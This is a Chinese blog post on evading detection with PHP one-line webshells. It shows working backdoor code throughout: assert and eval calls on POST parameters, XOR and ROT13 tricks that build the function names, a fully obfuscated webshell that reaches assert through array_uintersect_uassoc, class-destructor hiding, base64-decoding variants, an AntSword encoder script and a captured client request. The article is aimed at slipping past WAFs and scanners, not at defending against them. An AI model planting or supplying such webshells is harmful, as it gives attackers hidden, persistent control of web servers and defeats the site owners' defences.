谈谈php一句话木马的免杀
文章最后更新时间为:2019年07月05日 00:17:52
一句话木马叱咤江湖这么多年还是如此活跃,我个人理解是,方便,相比于二进制后门或者大马,一句话木马足够短,容易上传,并且有众多客户端,菜刀,Cknife,蚁剑,对于脚本小子来说,一句话木马大大降低了渗透的门槛。
但是一句话木马,已经不能适应现在的局势了,如今各大服务器纷纷装上了waf,一句话木马一旦被检测出来,一是会封ip,二是会发出报警信息,引起对方的警觉。
本文就来简单探讨一下php一句话木马的免杀,包括静态免杀和动态免杀。
1.静态免杀
php木马的静态免杀是很容易的,静态免杀基本是通过各种加密或者移位亦或等方式来隐藏关键词。下面以很常见的一句话木马举例:
<?php @assert($_POST['x']);?>
1.1 隐藏关键字
waf检测到assert这个关键词,很大概率会被检测出来,那么我们可以尝试用别的词来生成,具体的生成方式有很多种,这里列举一下常见的几种方式,其实效果都差不多。
拆解合并
<?php $ch = explode(".","hello.ass.world.er.t"); $c = $ch[1].$ch[3].$ch[4]; //assert $c($_POST['x']); ?>
目前来说,这种方式已经很难奏效了。
- 利用各种函数、编码
比如对套上一层ROT13编码
$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];
还有很多加解密方式,利用各种函数如array_map、array_key、preg_replace来隐藏关键字,这里就不多说了。
- 随机亦或产生
这里可以参考 https://github.com/yzddmr6/webshell-venom,想法也很简单,就是利用了php的亦或来生成所需要的字母。比如"Y"^"\x38"
的结果就是a,同样的生成assert即可。
$_StL="Y"^"\x38";
$_ENr="T"^"\x27";
$_ohw="^"^"\x2d";
$_gpN="~"^"\x1b";
$_fyR="g"^"\x15";
$_pAs="H"^"\x3c";
$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;
输入字符串,随即生成的脚本我已经提取放在了github上:https://github.com/saucer-man/penetration-script/tree/master/%E7%94%9F%E6%88%90%E6%B7%B7%E6%B7%86php%E5%8F%98%E9%87%8F(%E8%BF%87waf)
上面讲了三种隐藏关键字的方式,作用大同小异,个人来说较推荐随机亦或的方式,有脚本在,也方便许多。
1.2 将关键操作隐藏在各种类、函数中
其实主要的目的还是做混淆。比如下面这个一句话木马:
<?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4]; //assert
@$c($_POST['x']);
?>
在用D盾进行扫描时,还是很容易被检测出来。
在http://webshell.cdxy.me/上试试也很容易被检测出来。
我们可以把他隐藏在类中:
<?php
class Test{
public $config='';
function __destruct(){
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4];
@$c($this->config);
}
}
$test=new Test();
@$test->config=$_POST['x'];
?>
试试D盾:
变成了二级可疑,虽然没有完全奏效,但是还是有所混淆这里的原因主要还是检测出了assert关键字,其实采用稍微复杂的方式来生成assert就可以了,这里偷懒就不做了。
1.3 使用冷门回调函数
像eval
,assert
的关键字作为函数名称很显然是要受waf重点照顾的,但是作为世界上最好的语言,php也不可能就这点函数,还有很多冷门的回调函数,虽然开发没什么人用,但作为后门还是很好的。
比如:
<?php
$password = "LandGrey";
array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
?>
这部分函数我也没仔细找过,有兴趣的可以网上找一下,只需要有调用其他函数的功能即可。这里放一个我曾经写过的一个小马,利用了array_uintersect_uassoc函数来回调assert,并且也相应做了亦或处理来隐藏关键字,目测是不会被检测出来的。
<?php
function myfunction_key($a,$b){
if ($a===$b){
return 0;
}
return ($a>$b)?1:-1;
}
class rtHjmCdS{
public $fHfoj;
public $fDaGv;
public $HgAjSd;
function __construct(){
$_xlr="J"^"\x2b";
$_Nbv="V"^"\x25";
$_cfh="T"^"\x27";
$_PdK="I"^"\x2c";
$_zJQ="+"^"\x59";
$_RgD="="^"\x49";
$this->fDaGv=$_xlr.$_Nbv.$_cfh.$_PdK.$_zJQ.$_RgD;
$_fLd="a"^"\x0";
$_wOK="j"^"\x18";
$_tAH="U"^"\x27";
$_HeV="J"^"\x2b";
$_cyo="-"^"\x54";
$_iSW="F"^"\x19";
$_jYS="/"^"\x5a";
$_BFt="h"^"\x1";
$_TRn="p"^"\x1e";
$_izx="k"^"\x1f";
$_gMz="X"^"\x3d";
$_TNu="<"^"\x4e";
$_UiE="v"^"\x5";
$_iHI="q"^"\x14";
$_LIK="m"^"\xe";
$_Yey="Z"^"\x2e";
$_lMr="="^"\x62";
$_WOI="+"^"\x5e";
$_FQy="u"^"\x14";
$_sjC="d"^"\x17";
$_mOr=">"^"\x4d";
$_Txf="*"^"\x45";
$_PmW="O"^"\x2c";
$this->HgAjSd=$_fLd.$_wOK.$_tAH.$_HeV.$_cyo.$_iSW.$_jYS.$_BFt.$_TRn.$_izx.$_gMz.$_TNu.$_UiE.$_iHI.$_LIK.$_Yey.$_lMr.$_WOI.$_FQy.$_sjC.$_mOr.$_Txf.$_PmW;
}
function __destruct(){
$Hfdag = $this->HgAjSd; //'array_uintersect_uassoc'
$fdJfd = $this->fDaGv; // 'assert'
//array_uintersect_uassoc(array($_POST[k]),array(''),'assert','strstr');
@$Hfdag(array($this->fHfoj),array(''),$fdJfd,'myfunction_key');
}
}
$jfnp=new rtHjmCdS();
@$jfnp->fHfoj=$_REQUEST['css'];
?>
到这里静态免杀基本就介绍完了,总结一下:
- 使用冷门函数
- 尽量避免使用敏感关键字,可以用各种方式生成
- 将关键代码混淆在类、函数里
2. 动态免杀
静态免杀相对来是很容易的,方法也多种多样,但是很显然不管怎么变化,最终都会回到一个最终的函数调用:
eval("xxxx")
而现在的waf都会基于流量检测,我们的木马返回包和发送包都有明显的特征,这样的木马基本逃不过动态检测。
下面以蚁剑为例,看下怎么绕过流量的动态监测。
首先我们使用稍微混淆过的木马:
<?php
class Test{
public $name = '';
function __destruct(){
@eval("$this->name");
}
}
$test= new Test();
$c = @$_POST['css'];
$test->name = $c;
?>
在蚁剑添加木马后,我们用burp来抓第一个请求包来看它发了什么内容:
POST /a.php HTTP/1.1
Host: 192.168.129.128:80
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 985
Connection: close
css=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22ae2ea%22%3Becho%20%40asenc(%24output)%3Becho%20%22348cb%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
解个码:
@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "ae2ea";echo @asenc($output);echo "348cb";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
可以看出这个包就是获取当前目录信息和用户的信息。
请求包中出现了很多明显的关键字,如果我们想要混淆应该怎么做呢?下面介绍几种常见的方式。
2.1 利用代理中转流量过waf
我们可以使用代理拦截菜刀的包,然后对其进行一些编码解码措施。其原理如下:
注:上图来自https://xz.aliyun.com/t/2739
原理也很简单,我们只需要修改一句话木马的内容为:
<?php
class Test{
public $name = '';
function __destruct(){
@eval("$this->name");
}
}
$test= new Test();
$c = base64_decode(@$_POST['css']);
// 修改的地方就是上面这行,对参数进行解码之后再执行
$test->name = $c;
?>
然后我们只需要编写一个中间人代理脚本(如果有能力写扩展,直接用burpsuite就行了),将请求流量包中的css字段进行base64编码,这样的话请求包中就不会有明显的关键字了。
但是如果base64加解密太明显,还是容易被发现怎么办?aes、des等各种加密方式那么多,只要在一句话木马中写出解码的函数,加密想怎么来怎么来。
如果对相应包也进行了检测,怎么办?有请求包的加密解密,就可以有相应包的加解密啊,同样的,可以在一句话中对结果进行加密后再传输,在流量通过代理的时候进行解密即可。
2.2 使用蚁剑自带的编码
中国菜刀客户端已经有很多年不更新了,好用还是依旧好用,但是新的功能没有就很难受了,相比来说蚁剑客户端的可扩展性强多了,其实蚁剑自带编码功能,稍微改进一下,就可以绕过大部分waf检测了。
其原理和中转流量基本类似,只是在客户端就集成了对流量进行加解密的功能。比如在上面的一句话木马中,我们需要在中转代理处对参数进行base64编码,用蚁剑的话,我们只需要写一个编码脚本即可:
/**
* php::b64pass编码器
* Create at: 2018/10/11 21:40:45
*
* 把所有 POST 参数都进行了 base64 编码
*
* 适用shell:
*
* <?php @eval(base64_decode($_POST['ant']));?>
*
*/
'use strict';
module.exports = (pwd, data) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
delete data['_'];
return data;
}
为了加点混淆,还可以加点动态的东西,比如随机生成一定长度的字符串加在前后,在一句话木马解码之前先去掉这些字符串。或者搞点密钥加进去,基本混淆的很难检测出来。
2.3 动态二进制加密-冰蝎
感兴趣的可以去读一下介绍文章:
https://github.com/rebeyond/Behinder
原理其实类似,客户端对流量进行加密然后传输--> 服务器端对流量进行解密再执行。在这样一个过程中,冰蝎通过生成一个随机的密钥来保证加密的可靠性。其中和上面的方法不同的是传递的流量是二进制字节,服务端的木马对流量进行解密之后,执行二进制字节码,这样的话静态免杀基本上也一并做了。
实现原理并不复杂,但是思路还是很好的思路
综上几种动态免杀的方式,都需要对一句话进行修改,其实改动并不多,只要写一个稍微复杂点的加解密函数,就够用很久了。
需要注意的是,这里提到的动态免杀,针对的是流量检测,如果是那种基于行为的动态检测,那估计大伙都得哭了。
关于php免杀就写这么多,因为是之前琢磨过的东西拿出来写一写,没有当时实验的图,也没有安装各种waf再进行实操一遍,这篇也就仅聊下思路,感兴趣的可以认真看一下下面的参考文章。